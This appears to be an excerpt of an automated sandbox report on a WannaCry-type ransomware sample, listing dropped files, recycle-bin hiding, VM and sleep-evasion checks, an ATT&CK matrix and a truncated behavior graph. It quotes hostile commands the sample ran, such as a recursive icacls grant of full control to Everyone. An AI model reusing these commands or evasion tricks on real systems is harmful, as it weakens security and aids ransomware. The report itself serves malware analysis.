          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD1E8E.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD1E9E.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD1E9F.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD1EA0.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD1EA1.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD1EA2.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD1EA3.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD1EA4.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD1EA5.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD1EA6.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SDF34C.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SDF34D.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SDF34E.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SDF34F.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SDF350.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SDF351.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SDF362.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SDF363.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SDF364.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SDF365.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SDF366.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SDF367.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SDF368.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD3CC5.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD3CC6.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SD3CC7.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD3CC8.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD3CD8.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\~SD3CD9.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD3CDA.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD3CDB.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD3CDC.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD3CDD.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD3CDE.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD3CDF.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Microsoft Office Tools\~SD3CE0.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD3CF1.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD3CF2.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD3CF3.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD86AA.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD86AB.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SD86AC.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD86AD.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD86AE.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\~SD86BF.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD86C0.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD86C1.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD86C2.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD86C3.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD86E3.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD86F4.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\~SD8704.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD8705.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD8706.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SDFBD9.tmpJump to behavior

          Hooking and other Techniques for Hiding and Protection

          barindex
          Creates files in the recycle bin to hide itself
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\$Recycle.Bin\~SD1609.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Contains functionality to detect sleep reduction / modifications
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004790151_2_10004790
          Query firmware table information (likely to detect VMs)
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSystem information queried: FirmwareTableInformation
          Source: C:\Users\user\Desktop\f_000112.exeWindow / User API: threadDelayed 6639
          Source: C:\Users\user\Desktop\f_000112.exeWindow / User API: threadDelayed 1028
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\Desktop\taskse.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeDropped PE file which has not been started: C:\Users\user\Desktop\u.wnryJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeEvaded block: after key decisiongraph_151-1452
          Source: C:\Users\user\Desktop\f_000112.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_151-1615
          Source: C:\Users\user\Desktop\f_000112.exeAPI coverage: 0.8 %
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7040Thread sleep count: 64 > 30
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7040Thread sleep time: -64000s >= -30000s
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7044Thread sleep time: -40000s >= -30000s
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7052Thread sleep time: -360000s >= -30000s
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7076Thread sleep count: 36 > 30
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7076Thread sleep time: -1080000s >= -30000s
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7040Thread sleep count: 6639 > 30
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7040Thread sleep time: -6639000s >= -30000s
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7048Thread sleep count: 1028 > 30
          Source: C:\Users\user\Desktop\f_000112.exe TID: 7048Thread sleep time: -3084000s >= -30000s
          Source: C:\Windows\System32\MoUsoCoreWorker.exe TID: 5868Thread sleep time: -180000s >= -30000s
          Source: C:\Windows\System32\SIHClient.exe TID: 4780Thread sleep time: -90000s >= -30000s
          Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
          Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
          Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
          Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,151_2_10002300
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,151_2_10004A40
          Source: C:\Users\user\Desktop\f_000112.exeThread delayed: delay time: 30000
          Source: C:\Users\user\Desktop\f_000112.exeThread delayed: delay time: 30000
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD3406.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SDBF32.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SD3407.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SD4A4C.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD3405.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SD3417.tmpJump to behavior
          Source: store.db.51.drBinary or memory string: VMware SVGA 3D
          Source: store.db.51.drBinary or memory string: VMware, Inc.
          Source: store.db.51.drBinary or memory string: http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/ccfa8ae1-3de7-46d7-a897-c8207e181b43?P1=1696331535&P2=404&P3=2&P4=U8tzlcVfvHbbpzMhxhgfsYXulfoiioa29F3hehhyrCbftohxlbYl06533b74%2bCdr0%2fjxlaNwreG6WuH1JeIX6A%3d%3d
          Source: SIHClient.exe, 00000039.00000002.1576206696.000001D0DCF36000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1282870797.000001D0DCF8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: store.db.51.drBinary or memory string: ;VMware, Inc. Display driver update released in April 2023Fhttp://schemas.microsoft.com/msus/2002/12/UpdateHandlers/WindowsDriver/http://support.microsoft.com/select/?target=hub!VMware, Inc. - Display - 9.17.6.3
          Source: store.db.51.drBinary or memory string: http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/2cd574c7-7f95-40ca-bf8e-0672877775b0?P1=1696331535&P2=404&P3=2&P4=DkYxDLYasZlIhhX63a0yDBM0tM%2bS4ze09HM%2fq6Lbn5hmJ7in%2b1CYq3Ql6GyQEmUvNHa7Ll20zSt66HLJpPgftQ%3d%3d
          Source: SIHClient.exe, 00000039.00000003.1299362105.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1298223850.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1300380905.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1573082045.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1296124077.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1282870797.000001D0DCF8C000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000039.00000003.1295292415.000001D0DCF95000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW/?Z
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10003410 wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,151_2_10003410
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10001360 time,AllocateAndInitializeSid,time,CheckTokenMembership,FreeSid,151_2_10001360
          Source: C:\Windows\SysWOW64\cscript.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,151_2_10004F20
          Source: C:\Users\user\Desktop\f_000112.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information12
          Scripting          		Valid Accounts2
          Windows Management Instrumentation          		12
          Scripting          		1
          DLL Side-Loading          		1
          Obfuscated Files or Information          		OS Credential Dumping1
          Account Discovery          		Remote Services1
          Archive Collected Data          		2
          Encrypted Channel          		Exfiltration Over Other Network Medium1
          Data Encrypted for Impact
          CredentialsDomainsDefault Accounts3
          Native API          		1
          DLL Side-Loading          		11
          Process Injection          		1
          DLL Side-Loading          		LSASS Memory3
          File and Directory Discovery          		Remote Desktop ProtocolData from Removable Media1
          Proxy          		Exfiltration Over Bluetooth1
          Defacement
          Email AddressesDNS ServerDomain Accounts1
          Command and Scripting Interpreter          		1
          Registry Run Keys / Startup Folder          		1
          Registry Run Keys / Startup Folder          		1
          File Deletion          		Security Account Manager33
          System Information Discovery          		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCron1
          Services File Permissions Weakness          		1
          Services File Permissions Weakness          		21
          Masquerading          		NTDS311
          Security Software Discovery          		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script121
          Virtualization/Sandbox Evasion          		LSA Secrets121
          Virtualization/Sandbox Evasion          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
          Process Injection          		Cached Domain Credentials1
          Application Window Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          Hidden Files and Directories          		DCSync1
          System Owner/User Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
          Services File Permissions Weakness          		Proc Filesystem1
          Remote System Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 signatures2 2 Behavior Graph ID: 1496614 Sample: f_000112 Startdate: 21/08/2024 Architecture: WINDOWS Score: 100 48 Malicious sample detected (through community Yara rule) 2->48 50 Antivirus detection for dropped file 2->50 52 Antivirus / Scanner detection for submitted sample 2->52 54 7 other signatures 2->54 8 f_000112.exe 1 1001 2->8         started        process3 file4 38 C:\Users\user\Downloads\@WanaDecryptor@.exe, PE32 8->38 dropped 40 C:\Users\user\Documents\@WanaDecryptor@.exe, PE32 8->40 dropped 42 C:\Users\user\Desktop\u.wnry, PE32 8->42 dropped 44 311 other malicious files 8->44 dropped 56 Creates files in the recycle bin to hide itself 8->56 58 Drops PE files to the document folder of the user 8->58 60 Contains functionalty to change the wallpaper 8->60 62 6 other signatures 8->62 12 f_000112.exe 8->12         started        15 cmd.exe 8->15         started        18 taskdl.exe 8->18         started        20 186 other processes 8->20 signatures5 process6 file7 64 Found Tor onion address 12->64 66 Uses cmd line tools excessively to alter registry or file data 12->66 22 attrib.exe 